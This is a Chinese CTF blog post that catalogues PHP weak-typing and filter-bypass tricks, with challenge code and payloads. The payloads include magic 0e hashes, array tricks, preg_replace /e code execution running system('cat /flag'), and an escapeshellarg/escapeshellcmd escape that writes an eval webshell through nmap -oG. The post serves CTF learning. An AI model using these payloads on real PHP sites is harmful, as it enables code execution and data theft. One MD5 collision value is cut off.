天天看點

PHP弱類型及一些繞過姿勢

前言:

做web題時經常會遇到各種php弱類型和一些函數的繞過方法,由于知識比較零碎,就總結一下我所遇到的,也友善自己以後觀看。

0x00:弱類型介紹:

弱類型是可以随意轉換變量的類型,也就是說php并不會驗證變量的類型,可以随時的轉換類型,雖然提升了效率,但是引發了很多安全問題。

0x01:Hash比較缺陷

簡單介紹:

​PHP​

​在處理哈希字元串時,通過​

​!=​

​或​

​==​

​來對哈希值進行比較,它把每一個以​

​0e​

​開頭的哈希值都解釋為​

​0​

​,是以如果兩個不同的密碼經過哈希以後,其哈希值都是以​

​0e​

​開頭的,那麼​

​PHP​

​将會認為他們相同,都是​

​0​

具體執行個體:

PHP弱類型及一些繞過姿勢

審計代碼,我們輸入的不能相等,但​

​md5​

​卻需要相等,這明顯的就是利用​

​Hash​

​的比較缺陷來做

我們隻要找出兩個數再​

​md5​

​加密後都為​

​0e​

​開頭的即可,常用的有以下幾種

QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
      

是以構造​

​a=QNKCDZO&b=s878926199a​

​即可繞過

0x02:extract變量覆寫

​extract()​

​ 函數使用數組鍵名作為變量名,使用數組鍵值作為變量值,當變量中有同名的元素時,該函數預設将原有的值給覆寫掉。這就造成了變量覆寫

PHP弱類型及一些繞過姿勢

​POST​

​方法傳輸進來的值通過​

​extrace()​

​函數處理,我們不知道​

​pass​

​、​

​thepassword_123​

​的值,直接傳入以​

​POST​

​的方式傳入​

​pass=1&thepassword_123=1​

​就可以進行将原本的變量覆寫,并且使兩個變量相等即可。

0x03:ereg正則%00截斷及strpos、ereg用數組傳回NULL

​ereg()​

​函數搜尋由指定的字元串作為由模式指定的字元串,如果發現模式則傳回​

​true​

​,否則傳回​

​false​

​,搜尋對于字母字元是區分大小寫的,用于正規表達式比對。

一、​

​ereg()​

​函數存在​

​NULL​

​截斷漏洞,可以​

​%00​

​截斷,遇到​

​%00​

​則預設為字元串的結束,是以可以繞過一些正規表達式的檢查。

二、​

​ereg()​

​隻能處理字元串的,遇到數組做參數傳回​

​NULL​

​。

三、空字元串的類型是​

​string​

​,​

​NULL​

​的類型是​

​NULL​

​,​

​false、true​

​是​

​boolean​

​類型

四、​

​strpos()​

​函數如果傳入數組,便會傳回​

​NULL​

PHP弱類型及一些繞過姿勢

這道題也涉及了​

​===​

​和​

​!==​

​,不了解的可以去官方文檔檢視一下:

PHP弱類型及一些繞過姿勢

審計一下代碼,第一個​

​if​

​語句要求我們輸入的值進行首尾比對必須是​

​1-9​

​之間的數字,第二個if語句又讓我們利用​

​strpos()​

​ 函數查找相應的字元串在輸入的值中第一次出現的位置,且後面是​

​!==​

​,是以要不讓值相等類型不同,或是值不同類型相同即可。

但​

​strpos()​

​NULL​

​。利用這個漏洞,便可以構造出繞過的​

​payload​

​:

?nctf[]=1
      

​ereg()​

​函數傳回NULL,​

​===​

​判斷NULL和FALSE是不相等的(類型不同),是以進入第二個語句,因為​

​strpos​

​處理數組時,也是傳回NULL,又因為​

​NULL!==FALSE​

​條件成立是以得出flag

除此之外,還可以構造利用​

​%00​

​來構造​

​payload:​

?nctf=123%00%23biubiubiu
      

0x04:strcmp比較字元串

​strcmp()​

​函數比較兩個字元串(區分大小寫),定義中是比較字元串類型的,但如果輸入其他類型這個函數将發生錯誤,在官方文檔的說明中說到在​

​php 5.2​

​版本之前,利用​

​strcmp​

​函數将數組與字元串進行比較會傳回​

​-1​

​,但是從​

​5.3​

​開始,會傳回​

​0​

具體執行個體:

PHP弱類型及一些繞過姿勢

審計代碼,很簡單關鍵就在于我們如何繞過檢查,構造如下​

​payload​

#POST DATA
pass[]=1
      

數組和字元進行比較結果不會傳回​

​1​

​,即為​

​false​

​,加上非的作用,即可變成​

​true​

​,則滿足條件

0x05:SESSION驗證繞過

在PHP配置中的預設情況下,​

​Session​

​是用Session ID來确定目前對話所對應的伺服器Session,sessionID可在​

​cookie​

​中找到,當我們删除cookie中的sessionID後,​

​$_SESSION[‘password’]​

​就會傳回空,我們同樣傳入空的password就能繞過了

PHP弱類型及一些繞過姿勢

觀察代碼發現需要我們GET傳入的​

​password​

​和session中存儲的​

​password​

​相同才可以得出flag,如果删掉​

​session​

​值,或者修改session值為一個不存在的session,伺服器擷取不到session,則​

​password​

​為空,這時候我們再GET進去一個空的​

​password​

​的進去拿到flag

PHP弱類型及一些繞過姿勢

0x06: sha()函數比較繞過、md5()函數繞過

​md5()​

​函數擷取不到數組的值,預設數組為0

​sha1()​

​函數無法處理數組類型,将報錯并傳回false

PHP弱類型及一些繞過姿勢

如果知道了​

​sha1()​

​函數不能處理數組,那這道題将非常好做,構造payload:

name[]=1&password[]=2
      
PHP弱類型及一些繞過姿勢

注意這裡是​

​===​

​,不是​

​==​

​,是以這裡采用​

​md5()​

​函數擷取不到數組的值,預設數組為0這個特性來做,payload:

username[]=1&password[]=2
      

0x07:十六進制與數字比較

php在轉碼時會把16進制轉化為十進制
PHP弱類型及一些繞過姿勢

payload:

?password=0xdeadc0de
      

0x08: preg_replace /e 模式下的代碼執行

preg_replace:(PHP 5.5)

功能 : 函數執行一個正規表達式的搜尋和替換

定義 : mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject )

搜尋 subject 中比對 pattern 的部分, 如果比對成功以 replacement 進行替換

$pattern 存在 /e 模式修正符,允許代碼執行

/e 模式修正符,是 preg_replace() 将 $replacement 當做php代碼來執行

ZJCTF,不過如此

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
    );
}

foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
      

這裡的代碼便涉及到了preg_replace /e 模式下的代碼執行,原理的話師傅講的很明白,這裡不再叙述

​​https://xz.aliyun.com/t/2557​​

直接放payload:

\S*=${phpinfo()}
      
PHP弱類型及一些繞過姿勢

得到flag

?\S*=${eval(getFlag())}&cmd=system('cat /flag');
#最後的分号要加,除此之外,也可以:
?\S*=${eval($_POST[lemon])}
#POST DATA
lemon=system('cat /flag');
      
PHP弱類型及一些繞過姿勢

0x09:繞過escapeshellarg+escapeshellcmd函數

原理分析:

模仿師傅的例子進行學習

談談escapeshellarg參數繞過和注入的問題

escapeshellarg

escapeshellarg() 将給字元串增加一個單引号并且能引用或者轉碼任何已經存在的單引号,這樣以確定能夠直接将一個字元串傳入shell 函數,并且還是確定安全的。

escapeshellcmd

escapeshellcmd() 對字元串中可能會欺騙 shell 指令執行任意指令的字元進行轉義。反斜線(\)會在以下字元之前插入: &#;`|?~<>^()[]{}$, \x0A 和 \xFF。 *’ 和 “ 僅在不配對兒的時候被轉義。 在 Windows 平台上,所有這些字元以及 % 和 ! 字元都會被空格代替。

先通過例子來檢視一下escapeshellarg函數的作用吧

<?php 
var_dump(escapeshellarg("123"));
var_dump(escapeshellarg("12'     3"));
?>
      
PHP弱類型及一些繞過姿勢

在解析單引号的時候 , 被單引号包裹的内容中如果有變量 , 這個變量名是不會被解析成值的,但是雙引号不同 , bash 會将變量名解析成變量的值再使用。

PHP弱類型及一些繞過姿勢

是以即使參數用了 escapeshellarg 函數過濾單引号,但參數在拼接指令的時候如果用了雙引号的話還是會導緻指令執行的漏洞。

再來看一下escapeshellcmd 函數的作用

PHP弱類型及一些繞過姿勢

兩個函數都會對單引号進行處理,但是有差別的,如下:

PHP弱類型及一些繞過姿勢

對于單個單引号, escapeshellarg 函數轉義後,還會在左右各加一個單引号,但 escapeshellcmd 函數是直接加一個轉義符,對于成對的單引号, escapeshellcmd 函數預設不轉義,但 escapeshellarg 函數轉義

那既然有這個差異,如果escapeshellcmd() 和 escapeshellarg() 一起出現會有什麼問題

測試

PHP弱類型及一些繞過姿勢

結果

PHP弱類型及一些繞過姿勢

分析

一開始傳入的參數
127.0.0.1' -v -d a=1
經過escapeshellarg函數處理,先轉義再用單引号括起來
'127.0.0.1'\'' -v -d a=1'
再經過escapeshellcmd函數處理,數中的\以及a=1'中的單引号進行處理轉義
'127.0.0.1'\\'' -v -d a=1\'
由于這一步的處理,使得\\被解釋成了\而不再是轉義字元,是以單引号配對連接配接之後将語句分割為三個部分
      
PHP弱類型及一些繞過姿勢

是以最後system函數是對​

​127.0.0.1\​

​發起請求,POST 資料為​

​a=1'​

​,如果兩個函數翻過來則不會出現這個問題

PHP弱類型及一些繞過姿勢

接下來就通過一個題目來實踐一下:

Online Tool

PHP弱類型及一些繞過姿勢

代碼中是先使用了escapeshellarg函數,再使用escapeshellcmd函數便會引發上面的問題,再來仔細觀察一下代碼,發現​

​mkdir\chadir​

​函數,建立目錄和改變目前的目錄,應該是要我們寫檔案進去的,​

​system()​

​函數又是一串namp指令後面拼接上GET傳入的參數,因為參數經過了上面的參數處理,​

​;​

​等都會被轉義,是以就要從拼接的namp指令想辦法了,查了百度谷歌沒查到,看了WP才知道

nmap指令中 參數​

​-oG​

​可以實作将指令和結果寫到檔案(也就是可以寫木馬)

接下來就寫payload,​

​escapeshellarg​

​函數會先對host變量中的單引号進行轉義,并且轉義之後,在 ​

​\'​

​ 的左右兩邊再加上單引号,變成 ​

​'\''​

然後​

​escapeshellcmd​

​函數,會對host變量中的特殊字元進行轉義

(&#;`|*?~<>^()[]{}$, \x0A//和\xFF以及不配對的單/雙引号轉義)

那麼上面的 ​

​\​

​ 就會被再次轉義,比如變成 ​

​'\\''​

如果在字元串首尾加上單引号,經過​

​escapeshellarg​

​函數之後,就可以實作将單引号給閉合了,在經過​

​escapeshellcmd​

​函數的時候單引号就是配對的,就不會進行轉義

如:

' lemon shy '
escapeshellarg:''\'' lemon shy ''\''
escapeshellcmd: ''\\'' lemon shy ''\\''
      

這樣就很好了解了,那就會可以實作單引号的逃逸了,接下來就來測試payload:

PHP弱類型及一些繞過姿勢
' <?php phpinfo();?> -oG 1.php'
如果最後的單引号是沒有空格,則檔案名後面就會多出\\,是以後面要加上空格
前面加空格不加則無影響,因為不會影響到一句話木馬裡面的内容
      

但還有一個問題,escapeshellcmd會把一句話木馬中的一些字元給轉義的,又該怎麼辦,測試一下在本地傳一下發現雖然看起來轉義了,但寫入的話還是沒有被轉義的。

PHP弱類型及一些繞過姿勢

是以最終的payload:

' <?php @eval($_POST["a"]);?> -oG 1.php '
或
'<?php @eval($_POST["a"]);?> -oG 1.php '
      
PHP弱類型及一些繞過姿勢

建立的目錄也出來了,寫的一句話木馬檔案在該目錄下,連接配接一下

PHP弱類型及一些繞過姿勢
PHP弱類型及一些繞過姿勢

也可以傳一個GET進去,調用system函數

' <?php @eval($_GET["a"]);?> -oG 2.php '

http://e5b384ba-6852-4e3f-9060-c66dc267e554.node3.buuoj.cn/8f9395193b358d86a100d2fd1f0349a2/2.php?a=system('cat /flag');
      
PHP弱類型及一些繞過姿勢

0x10:md5強類型

(string)$_POST['a1']!==(string)$_POST['a2']
&& md5($_POST['a1'])===md5($_POST['a2'])}
      

例如這段代碼,使用數組就不可行,因為最後轉為字元串進行比較,是以隻能構造兩個MD5值相同的不同字元串.

PHP弱類型及一些繞過姿勢

兩組經過url編碼後的值

#1
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
#2
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%
      

0x11:PHP精度繞過缺陷

幾次都碰到這個點,記錄一下,省的以後忘了再去查

浮點運算的坑

在用PHP進行浮點數的運算中,經常會出現一些和預期結果不一樣的值,先來看個小例子

PHP弱類型及一些繞過姿勢

輸出的是57,而我們預想的應該是58

具體詳細的原理可以看這位師傅的描述

​​http://www.haodaquan.com/12​​

簡單的說因為PHP 通常使用 IEEE 754 雙精度格式而且由于浮點數的精度有限的原因。除此之外取整而導緻的最大相對誤差為 ​

​1.11e-16​

​,當小數小于​

​10^-16​

​後,PHP對于小數就大小不分了,如下圖:

PHP弱類型及一些繞過姿勢

easytrick

2020Ciscn初賽就考察到了這一點,前面總結過了,這裡就不在叙述了